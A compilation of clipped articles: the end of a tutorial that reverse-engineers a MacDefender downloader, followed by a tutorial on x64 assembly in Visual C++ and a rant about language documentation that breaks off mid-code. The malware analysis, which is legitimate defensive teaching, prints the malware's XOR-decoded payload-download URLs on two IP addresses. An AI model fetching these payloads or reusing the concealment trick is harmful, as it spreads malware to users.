    mov     [esp+0Ch], esi
    lea     eax, (cfstr_Http@MacSoft_p.isa - 2E3Fh)[ebx] ; "http://%@/mac/soft.php?affid=%@"
    
    
[/code]

This must be the first argument to the format string and thus our hostname.
Let's trace where `esi` gets its value:

<img src='img/Temp2_6862.png' />

A click on `esi` in the disassembly is helpful to see where the `esi` register
is manipulated. We can see that some lines above the contents of the `eax`
register are moved into `esi`. And a line above that we see a call to
`__ZL14getConfigParami`. \(That's how mangled c++ functions look like.\) So
the hostname must be somehow generated in the `getConfigParam()` function.
\(Return values are placed into the EAX register.\)

At this point we could set a breakpoint on the `getConfigParam()` call, run
the debugger and read out the `eax` contents and have our host name. But what
if there's more to the hostname generation? What if the hostname is somehow
procedurally generated? Maybe it is retrieved from the internet? To find this
out we have to dig deeper into `getConfigParam()` ...

### Digging deeper

So go to the functions window and find the `getConfigParam()` function and
double click it. IDA will open the function's disassembly which is rather
long:

<img src='img/Temp2_6860.png' />

Let's zoom in and take a deeper look ...

<img src='img/Temp2_6861.png' />

We see that the function takes one integer argument and that there's some
branching done depending on the parameter. We should find out which value is
passed to `getConfigParam()` when the hostname is retrieved. So back to the
previous `__DownloadWindCtrl_startDownloadingURL__` function. \(Just press
ESC.\)

<img src='img/Temp2_6853.png' />

A few lines above the first call to `getConfigParam()` we can see that there's
some fiddling with the parameter passed to
`__DownloadWindCtrl_startDownloadingURL__`. The value we pass to
`getConfigParam()` depends on `arg_8`'s value. The marked instructions from
the upper screen shot are equivalent to the following pseudo code:

[code]

    if (arg_8 == 0)
      eax = 2
    else
      eax = 1
    hostname = getConfigParam(eax)
    
    
[/code]

Now that we know which values the parameter can have we can go back to
`getConfigParam` ...

<img src='img/Temp2_6861.png' />

As we see the code compares `arg_0` \(which is a name automatically generated
by IDA for the first argument passed to this function\) to 3 and jumps to
`loc_2AB1` if it is below or equal 3. Which for our case \(either 1 or 2\)
always is true. So we can continue at `loc_2AB1`:

<img src='img/Temp2_6859.png' />

We can see that there are a few calls to obj-c methods followed by a call to
`fopen()`. We can also see strings that look like fragments of filenames and a
`"rb"` which in connection with `fopen()` suggests that a file should be
opened for binary read access. If we take a look into the avRunner.app-bundle
we can see that there's a file called `DownloadPict.png` in the `Resources`
directory. Coincidence?

You might say: So what? The guy probably opens an image to display it in the
downloader app. And maybe you're right. But this stinks. In Cocoa you don't
need to fopen\(\) and fread\(\) image files if you want to display them. There
are convenience methods in Obj-C that do all the work for you. Also why should
he do this in a function that retrieves config info?  
So let's investigate this a little further ...

### The curious case of \_objc\_msgSend\(\)

To understand why a objective-c disassembly is full of `_objc_msgSend()` calls
you need to know that Objective-C isn't really a C-dialect with its own
compiler. \(Well nowadays it is but the principle is the same.\) Obj-C can be
seen as a set of C-preprocessor directives which convert Obj-C code into C
code which is then compiled by a C compiler.

So from a Obj-C code fragment like

[code]

    retval = [myobj doSomethingStupid: 1234 anotherParameter: 456];
    
[/code]

the following C code is generated:

[code]

    retval = objc_msgSend(myobj, "doSomethingStupid:anotherParameter:", 1234, 456);
    
[/code]

Looking at the signature of `_objc_msgSend()` we can see that the first
argument is a pointer to a Obj-C object instance and the 2nd argument is a
C-string containing the invoked method name.

`_objc_msgSend()` takes its first two arguments and looks in a table which
method to call. It then calls the appropriate method. It's like a more dynamic
C++ vtable and is the reason why Obj-C's duck typing OO works.

One thing is notable: `_objc_msgSend()` performs tail calls. It doesn't mess
\(much\) with the stack nor the registers so it can jump directly into your
called obj-c method without having to create a new stackframe. That's why we
can deduce which arguments the called obj-c method expects by looking at the
stack layout before the call to `_objc_msgSend()`. \(Return values are stored
in the `eax` register on x86\_32\).

### Back to work

Let's make use of our newly acquired `_objc_msgSend()` mastery. Let's see
which methods are called to manipulate the "DownloadPict.png" filename ...

<img src='img/Temp2_6856.png' />

Hover your mouse pointer over the `off_544C` and as soon as the tool tip pops
up scroll down with your scrolling wheel. You should see `mainBundle`
appearing. \(Depending on your screen size you might not have to scroll to see
the information.\)

If it doesn't work you can alternatively double click on `off_544C` to see
what's located at that address. \(Press ESC to come back.\)

As we can see data from this offset is moved onto the stack as the 2nd
parameter to the following `_objc_msgSend` call. So this must be our method
name. But on which object is this invoked? Well, just do the same 2 lines
below with `off_545C`. `NSBundle` is the object the method is invoked up upon.
`NSBundle` is a class in obj-c - but as classes are objects too in that
language it doesn't really matter. You could say it's the equivalent of
calling a static class method in C++. Something like `b =
NSBundle::mainBundle();` .

After a lookup in the Cocoa docs it's clear that `[NSBundle mainbundle]`
returns a reference to an NSBundle instance representing the app's bundle
\(which can be used to retrieve the bundle's working directory, etc.\). Then
this reference is taken and some other methods are invoked upon it. Long story
short: This code block gets the absolute file path to the `DownloadPict.png`
file and `fopen()`s it for binary reading.

Let's skip to the next code block:

<img src='img/Temp2_6850.png' />

Ah, this is simple and nice; We can see a bunch of `fseek()`, `fread()` calls
and some memory operations.

Wait ... Either the guy is parsing PNG by hand or this doesn't look like
loading an image for displaying at all. Let's take a deeper look ...

A quick

[code]

    man fseek
    
[/code]

reveals which parameters this function expects and what it does. It sets the
read/write location pointer in an opened file to a given offset. The offset is
relative to the beginning or the end of the file. Or relative to the current
location. This is controlled by the function's 3rd parameter. In this case our
3rd parameter has the value `2`. After a little shuffling through the
appropriate C header files we find out that `2` equals to `SEEK_END`. So the
seek operation is performed relative to the file's end.

The offset is passed as the 2nd parameter. We can see here that our offset is
`0xffffffff` which equals `-1` as a signed 32bit integer. \(`fseek()` takes
signed int offsets.\) The first parameter is the `FILE` pointer we got from
`fopen()` in the previous code block.

So in plain english: We set the reading location to the second last byte in
the file.

The following call to `fread()` reads that second last byte from the file into
`var_19`.

After that there's this code:

[code]

    movsx   eax, [ebp+var_19]
    not     eax
    mov     [esp+4], eax 
    
    
[/code]

This operation is called `One's Complement` and what it does is: It takes the
value of `var_19` and inverts every bit of it. `0x00` becomes `0xff`. `0x01`
becomes `0xfe`. `0x02` becomes `0xfd`. Etc.

If you treat the data you perform this operation on as `signed` then it's the
equivalent to negating a number and subtracting 1. \(Or taking a negative
number, adding 1 and changing the sign to positive.\) So `0` becomes `-1`, `1`
becomes `-2`, `2` becomes `-3`, etc.

The pseudo code equivalent would be:

[code]

    eax = var_19
    eax = -eax
    eax--
    2nd_arg_to_fseek = eax
    
    
[/code]

If we look at the following `fseek()` call we'll find out that the 3rd
parameter is `SEEK_CUR` this time. And as we are already at the end of the
file there's not much place to go into the right direction. So we can conclude
that `eax` will be most likely a negative integer after it has been inverted
and the read pointer will be adjusted by `eax` bytes to the left.

\[ If you wonder why we `fseek (original var_19+1)` bytes to the left: The
previous `fread()` advanced our file location pointer by one to the right and
we are at the last byte in the file now. So we have to `fseek` one byte more
to the left to make up for that.\]

After the `fseek()` call the original \(not inverted\) `var_19` value is taken
and `var_19+1` bytes of dynamic memory are allocated by the call to `__Znam`
\(mangled C++ name for `operator new[]`\). The location of that buffer is then
saved in `esi`:

[code]

    movsx   eax, [ebp+var_19]
    inc     eax
    mov     [esp], eax
    call    __Znam          ; operator new[](ulong)
    mov     esi, eax
                                    
    
[/code]

The next few instructions fill the buffer with `0x00`.

Then `var_19` bytes are read from the file and stored in the recently
allocated buffer:

[code]

    mov     [esp+0Ch], edi          ; FILE *
    mov     dword ptr [esp+8], 1    ; size_t
    movsx   eax, [ebp+var_19]
    mov     [esp+4], eax            ; size_t
    mov     [esp], esi              ; void *
    call    _fread
    
    
[/code]

The following `_objc_msgSend` call creates a `NSString` instance from the
bytes read from the file and stores a reference to this string in `var_2C`.
Then the buffer is is deleted\[\]. The test for buffer existence is obsolete
because you can safely run delete on NULL. See - we discovered some bad c++
practice here through disassembly: ;\)

<img src='img/Temp2_6852.png' />

The file is closed and a new buffer is created from our `NSString` by invoking
`cStringFromString:` on it. This buffer's address is stored in `esi`. Steve
knows why the first buffer was deleted:

<img src='img/Temp2_6851.png' />

Then the buffer's length is determined and stored into `eax` by `strlen()`.
Followed by a loop which iterates over the buffer:

<img src='img/Temp2_6854.png' />

The location of our buffer is stored in `esi`. The length is in `eax`. We
compare `edx` with `eax` and if `edx` is lower we `xor` the byte at
`buffer+edx` with `0x5a` and increase `edx` by one. Then we jump back to our
edx/eax check.

If `eax` equals `edx` we break out of the loop and create a new `NSString`
from the buffer by invoking `stringWithCString:`.

Then the resulting `NSString` is split into components by invoking
`componentsSeperatedByString: @";"` on it. Component number `arg_0` is
returned as our hostname.

Wait? What? That's the grand scheme? Read a bunch of "encrypted" bytes from
the end of an image file and `xor` them with `0x5a`? Let's confirm that:

Grab a hex editor and open the `DownloadPict.png` file:

<img src='img/Temp2_6858.png' />

Looking at the 2nd last byte in the file we can read a value of `0x2b`. Let's
move `0x2b` bytes to the left from that position and extract `0x2b` bytes:

[code]

    "\x17;9\x1d/;(>abltoothkjtkjhakcnthbtkkntkjkankjcc"
    
[/code]

So let's "decrypt" those bytes without running the avRunner binary. I took
here my favorite scripting language but you can take yours if you don't like
my choice:

[code]

    #include <string.h>
    #include <stdio.h>
    
    int main (int argc, const char **argv)
    {
      char *str = strdup("\x17;9\x1d/;(>abltoothkjtkjhakcnthbtkkntkjkankjcc");
      char *p = str;
      while (*p) {
        *p++ ^= 0x5a;
      }
      printf("%s\n", str);
      return 0;
    }
    
    
[/code]

Running this little piece of code gives us the following output:

[code]

    MacGuard;86.55.210.102;194.28.114.101;41099
    
    
[/code]

As we can see we get a human readable string which can be split into an array
of components if divided by `";"`. `arg_0` is either 1 or 2 and the elements
at index 1 and 2 are both valid hostnames. Tadaa.

Let's fill in the components into our format string and we get this:

[code]

    http://86.55.210.102/mac/soft.php?affid=41099
    http://194.28.114.101/mac/soft.php?affid=41099
    
    
[/code]

The 2nd host seems to be rather slow. I guess it's a backup host in case the
first one goes down. \(Actually after further analysis it becomes clear that
the 2nd host is used if the download from the first URL fails.\)

If you open either of these URLs with your browser the `MacDefender.app` is
downloaded. **Don't run it\!**

So yes, that's all there is to know about this part of the malware. We could
investigate further when the 2nd IP is chosen as a hostname, etc. Or we could
take the main malware and dissect it. But that's up to you.

If you decide to play with the malware: Don't do it on a mission critical
system. Preferably do it in a VM. But if something goes wrong: You can get rid
off the MacDefender malware by killing it with `kill -9 [Mac Defender PID]`.

### Conclusion

As you can see malware analysis can be really easy \(though most of the time
it's more tricky than a simple one byte xor\). This is a good opportunity to
get into OS X malware analysis. I don't think it will get any more easy than
this and the coming Mac malware will probably get more complex and better
guarded against reversing attempts.

We used here only static analysis. If we would have fired up the debugger and
had operated on the living object we could have saved us a lot of work/time.
But we wouldn't have learned as much as by doing a static analysis.

### Useful Links

  * http://www.archive.org/details/RECON2008 \- Video T06 "under the iHood". A good introduction to software reverse engineering on OS X.
  * OS X ABI \- detailed information about the OS X function calling conventions.
  * objc\_msgSend\(\) Tour \- a detailed analysis of objc\_msgSend\(\)
  * class dump \- a very very helpful utility that extracts obj-c class metadata from binaries.
  * ### Contact
If you have found a bug/error/mistake in my post or have a comment please
contact me at leon.szpilewski@gmail.com or @fettemama.

I also take donations in the form of IDA Pro licenses ;\)

### Legal blabla

\(C\) Leon Szpilewski 2011, Reproduction/Redistribution without prior written
permission is not allowed\! I do not take any responsibility for any data loss
or damage that may occur by inappropriately following this article. **Do not
run the supplied avRunner.app\!**

# How to write x64 assembly functions in Visual C++ - ScienceZero

**Created:**| _5/13/2011 11:31:12 AM_  
---|---  
**Updated:**| _5/13/2011 11:31:12 AM_  
**Author:**| __  
**Tags:**| _asm visualstudio x64_  
  

# How to write x64 assembly functions in Visual C++

## Contents

\[hide\]

  * 1 Introduction
  * 2 x64 Assembly overview
    * 2.1 x64 registers
    * 2.2 Instructions that are no longer available
    * 2.3 New instructions
      * 2.3.1 Data Transfer
      * 2.3.2 Data Conversion
      * 2.3.3 String Manipulation
    * 2.4 Other differences
  * 3 The x64 calling convention
    * 3.1 Integer, pointer and reference parameters
    * 3.2 Floating point \(FP\) parameters
    * 3.3 Return value
    * 3.4 Volatile and non-volatile
    * 3.5 Stack
    * 3.6 Stack cleanup
  * 4 Leaf or frame function
  * 5 Leaf function example
  * 6 Frame function example
    * 6.1 Setting up Visual Studio for assembly
      * 6.1.1 Download Yasm
      * 6.1.2 Set up Custom Build Rule for Yasm
      * 6.1.3 Set up syntax highlighting of ASM files in Visual C++
    * 6.2 Adding .asm
    * 6.3 Prepare the function declaration
    * 6.4 Get the generated call
    * 6.5 Write the function in assembly
  * 7 Debugging
  * 8 Detailed reference

  
---  
#  Introduction

Most assembly tutorials focus on how to write assembly programs from scratch,
often detailing how to call into the C runtime or Windows APIs. We have long
since passed the time when it made sense to write software completely in
assembly. Many programs spend more than 99% of their time running less than 1%
of the code. It is that 1% of the code that should be a candidate for
assembly. Your time is too valuable to write the other 99% in assembly as
well.

With that background in mind, this brief tutorial focuses on how to call out
to x64 assembly routines from Visual C++. It assumes that you already have a
x64 project and are looking to replace one or more functions with assembly
versions. It is geared towards someone that might have already written x86
inline assembly in Visual C++ as Microsoft has discontinued support for inline
assembly in x64.

#  x64 Assembly overview

This section is a quick overview of the differences between x86 and x64.

##  x64 registers

x64 provides new registers:

  * 8 general purpose registers: **r8** \- **r15**
  * 8 128-bit XMM registers: **xmm8** \- **xmm16**. 

In addition, the existing registers from the x86 architecture, **rax** ,
**rbx** , **rcx** , **rdx** , **rsi** , **rdi** , **rbp** , **rsp** and
**rip** have been extended from 32 to 64 bits. The 64 bit form has a "r"
prefix. Old registers can still be accessed in their smaller bit ranges, for
instance:

Bits| 64| 32| 16| 8| 8  
---|---|---|---|---|---  
Name | **rax** | **eax** | **ax** | **ah** | **al**  
The new registers can be accessed like this:

Bits| 64| 32| 16| 8 low  
---|---|---|---|---  
Name | **r8** | **r8d** | **r8w** | **r8b**  
Applications can still use segments registers as base for addressing, but the
64-bit mode only recognizes 3 registers, **cs** , **fs** and **gs**. In
addition, only **fs** and **gs** can be used for base address calculations.

The 32-bit **eip** register becomes the **rip** register.

##  Instructions that are no longer available

In order to make room for the new instruction encodings, some instructions
have been removed:

  * Binary-coded decimal arithmetic instructions: AAA, AAD, AAM, AAS, DAA, DAS 
  * BOUND 
  * PUSHAD and POPAD 
  * Most operations that dealt with segment registers, such as PUSH DS and POP DS. \(Operations that use the FS or GS segment registers are still valid.\) 

##  New instructions

There are new instructions to support various 64 bit operations.

###  Data Transfer

Variants of the MOV instruction handle 64-bit immediate constants or memory
addresses.

MOV | r,\#n | r = \#n   
---|---|---  
MOV | **rax** , m | Move contents at 64-bit address to **rax**  
MOV | m, **rax** | Move contents of **rax** to 64-bit address   
Instruction to sign-extend 32-bit operands to 64 bits.

MOVSXD | r1, r/m | Move DWORD with sign extension to QWORD   
---|---|---  
Ordinary MOV operations into 32-bit subregisters automatically zero extend to
64 bits, so there is no MOVZXD instruction.

2 SSE instructions move 128-bit values \(such as GUIDs\) from memory to an
xmmn register and vice versa.

MOVDQA | r1/m, r2/m | Move 128-bit aligned value to xmmn register, or vice versa   
---|---|---  
MOVDQU | r1/m, r2/m | Move 128-bit value \(not necessarily aligned\) to register, or vice versa   
###  Data Conversion

CDQE | Convert dword \(**eax**\) to qword \(**rax**\).   
---|---  
CQO | convert qword \(**rax**\) to oword \(**rdx** :**rax**\).   
###  String Manipulation

MOVSQ | Move qword from **rsi** to **rdi**.   
---|---  
CMPSQ | Compare qword at **rsi** with **rdi**.   
SCASQ | Scan qword at **rdi**. Compares qword at **rdi** to **rax**.   
LODSQ | Load qword from **rsi** into **rax**.   
STOSQ | Store qword to **rdi** from **rax**.   
##  Other differences

Absolute 32 bit addresses in x86 becomes 32 bit offsets in x64. This allows
instructions to remain the same size but limits jumps to at most 2GB away from
the current instruction.

In 64-bit mode, a new form of effective addressing is available to make it
easier to write position independent code. Any memory reference may be made
**rip** relative \(**rip** is the instruction pointer register, which contains
the address of the location immediately following the current instruction\).

#  The x64 calling convention

The x64 calling convention is also referred to as the x64 ABI \(Application
Binary Interface\). A calling convention describes the interface between a
caller and a function:

  * The order in which parameters are allocated 
  * Where parameters are placed \(pushed on the stack or placed in registers\) 
  * Which registers may be used by the function 
  * How the stack gets unwound on return 

The x64 calling convention is very similar to x86 fastcall. It uses a
combination of registers and stack to pass parameters to the function.

##  Integer, pointer and reference parameters

  * All arguments are right justified in registers. This is done so the callee can ignore the upper bits of the register if need be and can access only the portion of the register necessary. 
  * All stack parameters are 8 byte aligned. 
  * Any parameter that's not 1, 2, 4, or 8 bytes \(including structs\) is passed by reference. 
  * Structs and unions of 8, 16, 32, or 64-bits are passed as if they were integers of the same size. 

The first 4 integer parameters are passed \(in left to right order\) in
**rcx** , **rdx** , **r8** , **r9**

Further integer parameters are passed on the stack by pushing them in right to
left order \(parameters to the left at lower addresses\).

Though not detailed here, it is also possible to write assembly functions that
are members of a class. In that case, the _this_ pointer is passed in **rcx**.

##  Floating point \(FP\) parameters

  * The first 4 FP parameters are passed \(in left to right order\) in **xmm0** through **xmm3**
  * Further FP parameters are passed on the stack by pushing them in right to left order \(parameters to the left at lower addresses\) 
  * The x87 register stack is unused. 

##  Return value

  * Integer, pointer or reference type is passed in **rax**
  * FP type is passed in **xmm0**

##  Volatile and non-volatile

  * Function must preserve: **rbx** , **rbp** , **rdi** , **rsi** , **r12** , **r13** , **r14** , **r15** , **xmm6** \- **xmm15** and the x87 register stack. 
  * Function may destroy: **rax** , **rcx** , **rdx** , **r8** , **r9** , **r10** , and **r11** and **xmm0** \- **xmm5**

##  Stack

At a minimum, a caller must reserve 32 bytes \(4 64-bit values\) on the stack.
This space allows registers passed into the function to be easily copied
\("spilled"\) to a well-known stack location. The function isn't required to
spill the parameter register parameters to the stack, but the stack space
reservation ensures that it can if needed.

##  Stack cleanup

The caller is responsible for cleaning up the stack. Typically, the caller
will reserve enough stack space for the function that requires the most stack
space and just adjust positioning within that stack space to fit all functions
that it's calling.

#  Leaf or frame function

An assembly function can be a leaf or a frame function. Leaf functions don't
need to support the stack unwinding process that is part of exception handling
and are easier to write than frame functions. But leaf functions have
limitations:

  * Can not call out to other functions 
  * Can not change any non-volatile registers 
  * Can not change the stack pointer 

Frame functions, on the other hand, allow non-volatile registers to be changed
and having access to more registers can help you write faster code. However,
there is a cost in complexity as a frame function must handle the following
tasks:

  * Use a defined prolog to establish an area on the stack called a "stack frame". 
  * Have one or more defined epilogs that free any allocated stack space and restore non-volatile registers before returning to the calling function. 
  * Save register parameters in their shadow locations 
  * Save any non-volatile registers that they use 
  * Allocate stack space for local variables 
  * Establish a register as a stack frame pointer 

A frame function can have a fixed amount of stack space or it can allocate
stack space dynamically.

If a frame function allocates a fixed amount of stack space, it must maintain
16-byte alignment of the stack pointer in the body of the function \(outside
the prolog and epilog\).

A frame function that dynamically allocates stack space must first allocate
any fixed stack space that it needs and then allocate and set up a register
for indexed access to this area. The lower base address of this area must be
16-byte aligned and the register must be provided irrespective of whether the
function itself makes explicit use of it. The function is then free to leave
the stack unaligned during execution although it must re-establish the 16-byte
alignment if or when it calls other functions.

#  Leaf function example

Let's briefly look at a leaf function example \(we do a more complete frame
function example below\). Consider the call

[code]

    int r = calc (1, 2, 3, 4, 5);
    
[/code]

To call this function, the compiler will generate something like

[code]

    mov         dword ptr [rsp+20h],5
    mov         r9d,4
    mov         r8d,3
    mov         edx,2
    mov         ecx,1
    call        calc
    
[/code]

Arguments 1, 2, 3 and 4 are stored in **ecx** , **edx** , **r8d** and **r9d**.
Argument 5 is stored on the stack at rsp + 20h. 20h is added because the
calling convention specifies that space must be reserved on the stack for
storing \("spilling"\) the arguments passed in registers. 4 64 bit registers
take up 20h \(32\) bytes.

To return the sum of all the arguments, we simply do

[code]

    ... code goes here
    ret
    
[/code]

#  Frame function example

Let's go through a complete example on setting up a frame function, including
setting up Visual Studio for assembly.

##  Setting up Visual Studio for assembly

We will be using the Yasm assembler.

###  Download Yasm

http://www.tortall.net/projects/yasm/wiki/Download

###  Set up Custom Build Rule for Yasm

http://www.tortall.net/projects/yasm/wiki/VisualStudio2005

###  Set up syntax highlighting of ASM files in Visual C++

Install AsmHighlighter from http://asmhighlighter.codeplex.com/

##  Adding .asm

Start by adding a asm file to your project:

  * Right click your project in Solution Explorer 
  * Add | New Item 
  * Type a filename that ends with .asm 
  * Enter the properties of the .asm file and select build with Yasm as a Custom Build Step 

##  Prepare the function declaration

Say you have this function that you want to convert to assembly:

[code]

    int calc (int a, int b, int c, char d, char* e, float fa, float fb);
    
[/code]

To support function overloading, the C++ compiler by default does name
mangling. Instead of writing our assembly function with a mangled name, we
turn off name mangling by telling the C++ compiler that we're calling out to C
by adding _extern "C"_ to the function declaration:

[code]

    extern "C" {
            int calc (int a, int b, int c, char d, char* e, float fa, float fb);
    }
    
[/code]

##  Get the generated call

It can make it easier to write your assembly function when you have the
calling assembly code in front of you, so as a first step, set up a call to
the function that you will be coding in assembly and use easily identifiable
values, for our function, that might be

[code]

    char e (5);
    int r = calc (1, 2, 3, 4, &e, 1.0, 2.0);
    
[/code]

Compile your old code in debug mode, set a breakpoint on the call and start
your program. When the breakpoint is hit, turn the assembly debug window on.
For the call above, you will find something like

[code]

    mov         byte ptr [rsp+44h],5
    movss       xmm0,dword ptr [__real@40000000]
    movss       dword ptr [rsp+30h],xmm0
    movss       xmm0,dword ptr [__real@3f800000]
    movss       dword ptr [rsp+28h],xmm0
    lea         rax,[rsp+44h]
    mov         qword ptr [rsp+20h],rax
    mov         r9b,4
    mov         r8d,3
    mov         edx,2
    mov         ecx,1
    call        calc
    
[/code]

You can now examine the code to see where all the arguments end up.

##  Write the function in assembly

We're now ready to write the function in assembly. First comment out the C++
version of the function \(or you will get "multiple defined symbols" errors
when linking\).

The object file format we want to create is called PE32+. This is handled
automatically in the Yasm Custom Build Rule.

Open the .asm file and add your function. Below is a complete example .asm
file for Yasm that returns a sum of all the arguments in our example call.
\(For easier cut and paste, the routine is given again without breaks below\).

A frame function needs a block of structured exception handling data separate
from the function itself. PROC\_FRAME generates a function table entry in
.pdata and unwind information in .xdata for a function’s data.

[code]

    PROC_FRAME      calc
    
[/code]

Functions can be hot-patchable. Hot-patching signifies patching a process by
injecting substitute function\(s\) at run-time. All that is needed to enable
hot-patching for a function is to leave room for a 2-byte jump instruction at
the top of it. Because our function starts with "push rbp", a 1-byte
instruction, we prefix it with 1 byte that does nothing, to make room for a
2-byte jump instruction. The 1-byte we use is an "REX prefix". The REX prefix
specifies how many bits of the 64-bit register to use in the prefixed
instruction.

[code]

    db          0x48            ; emit a REX prefix to enable hot-patching
    
[/code]

Now we start the standardized prolog section of our function. The prolog needs
to have an exactly matching block that contains unwind data for the function.
So for each actual instruction in the prolog, we include an assembler
directive that automatically generates the corresponding unwind data in the
block.

**rbp** is a non-volatile register, so we much preserve it if we intend to use
it. We will use **rbp** as our frame pointer, so we save it by pushing it on
the stack. Establishing a frame pointer in this way enables us to change the
stack pointer as much as we like in the body of the function.

[code]

    push        rbp             ; save prospective frame pointer
    [pushreg    rbp]            ; create unwind data for this rbp register push
    
[/code]

We want to have some stack space available for ourselves, so we allocate some
room on the stack by adjusting the stack pointer. We then generate unwind data
for the allocation.

[code]

    sub         rsp,0x40        ; allocate stack space
    [allocstack 0x40]           ; create unwind data for this stack allocation
    
[/code]

We then establish **rbp** as our frame pointer with a bias of 32. Using a bias
enables us to address as many locations as possible with a 1-byte offset.

[code]

    lea         rbp,[rsp+0x20]  ; assign the frame pointer with a bias of 32
    [setframe   rbp,0x20]       ; create unwind data for a frame register in rbp
    
[/code]

The final step in the prolog is to save all non-volatile registers that we
inted to use.

[code]

    movdqa      [rbp],xmm7      ; save a non-volatile XMM register
    [savexmm128 xmm7, 0x20]     ; create unwind data for an XMM register save
    
[/code]

[code]

    mov         [rbp+0x18],rsi  ; save rsi
    [savereg    rsi,0x38]       ; create unwind data for a save of rsi
    
[/code]

[code]

    mov         [rsp+0x10],rdi  ; save rdi
    [savereg    rdi, 0x10]      ; create unwind data for a save of rdi
    
[/code]

Signal the end of the prolog.

[code]

    [endprolog]
    
[/code]

We can now write the body of our function. Because we established a frame
pointer, we are free to change the stack pointer as we like.

[code]

    ... function goes here.
    
[/code]

We're done with the body of the function and need to cleaning up by restoring
all non-volatile registers that we changed. First, we restore the registers
that weren't saved with a push.

[code]

    movdqa      xmm7,[rbp]      ; restore the registers that weren't saved
    mov         rsi,[rbp+0x18]  ; with a push; this is not part of the
    mov         rdi,[rbp-0x10]  ; official epilog
    
[/code]

Now we restore the registers that we saved by pushing them on the stack. This
is the official epilog.

[code]

    lea         rsp,[rbp-0x20]  ; This is the official epilog
    pop         rbp
    ret
    
[/code]

Mark the end of the frame function \(declared with PROC\_FRAME\).

[code]

    ENDPROC_FRAME
    
[/code]

#  Debugging

You can step into your assembly function during debugging by turning on the
disassembly window, setting a breakpoint on the call to your assembly function
in C++ and stepping from there.

#  Detailed reference

Many details have been omitted in this tutorial. Take a look at these
references for more information.

Microsoft MSDN: x64 Software Conventions

win64 Structured Exception Handling

x64 ABI vs. x86 ABI

What does "Hot Patchability" mean and what is it for?

# The Idiocy of Computer Language Docs

**Created:**| _1/18/2011 9:48:05 AM_  
---|---  
**Updated:**| _1/18/2011 9:48:18 AM_  
**Author:**| __  
**Tags:**| _programming opinion_  
  

# The Idiocy of Computer Language Docs

Xah Lee, 2011-01-03

Worked with Mathematica for a whole day yesterday, after about 10 years
hiatus. Very nice. Mathematica lang and doc, is quite unique. Most other langs
drivel with jargons, pettiness, comp-sci pretentiousness, while their content
is mathematically garbage. \(unixism mumble jumple \(perl, unix\), or
“proper”-engineering OOP fantasy \(java\), or impractical and ivory-tower
adacemician idiocy as in Scheme & Haskell \( currying, tail recursion,
closure, call-cc, lisp1 lisp2, and monad monad monad\!\)\) \(See: What are
OOP's Jargons and Complexities ◇ Language, Purity, Cult, and Deception.\)

Mathematica, in its doc, is plain and simple. None of the jargon and
pretention shit. Very easy to understand. Yet, some of its function's
technical aspects are far more scholarly abstruse than any other lang
\(dealing with advanced math special functions that typically only a few
thousand people in the world understand.\).

## A Gander into the Idiocies

Here's a gander into the doc drivel in common langs.

### unix

In unix man pages, it start with this type of garbage:

>
[code]

>     SYNOPSIS
>            gzip [ -acdfhlLnNrtvV19 ] [-S suffix] [ name ...  ]
>            gunzip [ -acfhlLnNrtvV ] [-S suffix] [ name ...  ]
>            zcat [ -fhLV ] [ name ...  ]
>  
>     SYNOPSIS
>            zip  [-aABcdDeEfFghjklLmoqrRSTuvVwXyz!@$]  [--longoption  ...]
> [-b path] [-n suf
>            fixes] [-t date] [-tt date] [zipfile [file ...]]  [-xi list]
>  
>  
[/code]

Here, the mindset of unix idiots, is that somehow this “synopsis” form is
technically precise and superior. They are thinking that it captures the full
range of syntax in the most concise way. In practice, it's seldomly read. It's
actually not accurate as one'd thought; no program can parse it and agree with
the actual behavior. It's filled with errors, incomprehensible to human. Worse
of all, the semantic of unix software's options are the worst rape to any
possible science in computer science. See: The Nature of the Unix Philosophy ◇
Unix Pipe As Functional Language ◇ Unix zip Utility Path Problem.

### Python

In Python, you see this kinda garbage:

>
[code]

>     7.1. The if statement
>  
>     The if statement is used for conditional execution:
>     if_stmt ::=  "if" expression ":" suite
>                  ( "elif" expression ":" suite )*
>                  ["else" ":" suite]
>  
>  
[/code]

\(Source docs.python.org\)

Here, the mindset of the python idiots is similar to the unix tech geekers.
They think that using the BNF notation makes their doc more clear and precise.
The fact is, there are so many variations of BNF each trying to fix other's
problem. BNF is actually not used as a computer language for syntax
description. It's mostly used to communicate syntax to humans. Like regex,
there are so many incompatible variations. But worse than regex in the sense
that there are actually not many implementations of BNF. Real world syntax
description languages are usually nothing close to BNF. See: Pattern Matching
vs Lexical Grammar Specification.

This incomprehensible BNF notation is the only thing you get if you want to
know the basic syntax of “if”, “for”, “while”, “lambda”, or other basic
constructs of python.

For much more, see: Python Documentation Problems.

### Perl

In perl, you see this type of drivel:

> A Perl program consists of a sequence of declarations and statements which
> run from the top to the bottom. Loops, subroutines and other control
> structures allow you to jump around within the code.
> Perl is a free-form language, you can format and indent it however you like.
> Whitespace mostly serves to separate tokens, unlike languages like Python
> where it is an important part of the syntax.
> Many of Perl's syntactic elements are optional. Rather than requiring you to
> put parentheses around every function call and declare every variable, you
> can often leave such explicit elements off and Perl will figure out what you
> meant. This is known as Do What I Mean, abbreviated DWIM. It allows
> programmers to be lazy and to code in a style with which they are
> comfortable.
> Perl borrows syntax and concepts from many languages: awk, sed, C, Bourne
> Shell, Smalltalk, Lisp and even English. Other languages have borrowed
> syntax from Perl, particularly its regular expression extensions. So if you
> have programmed in another language you will see familiar pieces in Perl.
> They often work the same, but see perltrap for information about how they
> differ.
\(Source perldoc.perl.org\)

Notice they introduced you to their lingo “DWIM”. Juvenile humor is a
characteristic of perl's docs. It's a whole cult. They have “perl republic”,
“state of the onion”, “apocalypse”, “perl monger”, “perl golf”, etc. \(See:
Larry Wall and Cults.\) Another trait is irrelevant rambling. For example, in
the above you see: “Perl borrows syntax and concepts from many languages: awk,
sed, C, Bourne Shell, Smalltalk, Lisp and even English.”.

For a example of perl doc's maturity and knowledge of math, see: Perl Python
Tutorial: Complex Numbers.

However, perl doc overall is more practically usable than Python's.

### Haskell

Here's a example of ivory-tower idiocy, from Haskellers:

> Haskell uses a traditional Hindley-Milner polymorphic type system to provide
> a static type semantics \[4, 6\], but the type system has been extended with
> type classes \(or just classes\) that provide a structured way to introduce
> overloaded functions.
> A class declaration \(Section 4.3.1\) introduces a new type class and the
> overloaded operations that must be supported by any type that is an instance
> of that class. An instance declaration \(Section 4.3.2\) declares that a
> type is an instance of a class and includes the definitions of the
> overloaded operations—called class methods—instantiated on the named type.
> For example, suppose we wish to overload the operations \(+\) and negate on
> types Int and Float. We introduce a new type class called Num:
[code]

>       class Num a  where          -- simplified class declaration for Num  
